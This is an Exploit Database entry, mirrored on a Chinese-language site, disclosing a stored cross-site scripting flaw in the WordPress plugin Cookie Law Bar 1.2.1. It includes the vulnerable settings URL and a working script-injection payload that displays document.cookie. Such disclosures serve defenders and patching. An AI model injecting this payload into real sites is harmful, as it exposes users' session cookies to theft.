WordPress Plugin Cookie Law Bar 1.2.1 – ‘clb_bar_msg’ Stored Cross-Site Scripting (XSS)

• Exploit Database
• 140 阅读

• 作者： Mesut Cetin
  日期： 2021-05-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49905/
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  # Exploit Title: WordPress Plugin Cookie Law Bar 1.2.1 - &apos;clb_bar_msg&apos; Stored Cross-Site Scripting (XSS) # Date: 2021-05-24 # Exploit Author: Mesut Cetin # Vendor Homepage: https://www.cookielawinfo.com/wordpress-plugin/ # Software Link: https://wordpress.org/plugins/cookie-law-bar/ # Version: 1.2.1 # Tested on: Ubuntu 16.04 LTS, WordPress 5.7.2   # the "Bar Message" text field is vulnerable to stored XSS due to unsanitized user input # an authenticated attacker can retrieve cookies / sensitive data of all WordPress users   # proof of concept # navigate to the settings of the Cookie Law Bar under   http://localhost/wp-admin/options-general.php?page=clb   # inject the payload: </script><script>alert(document.cookie)</script> into the "Bar Message field" and save it   # browsing through the WordPress pages shows the cookies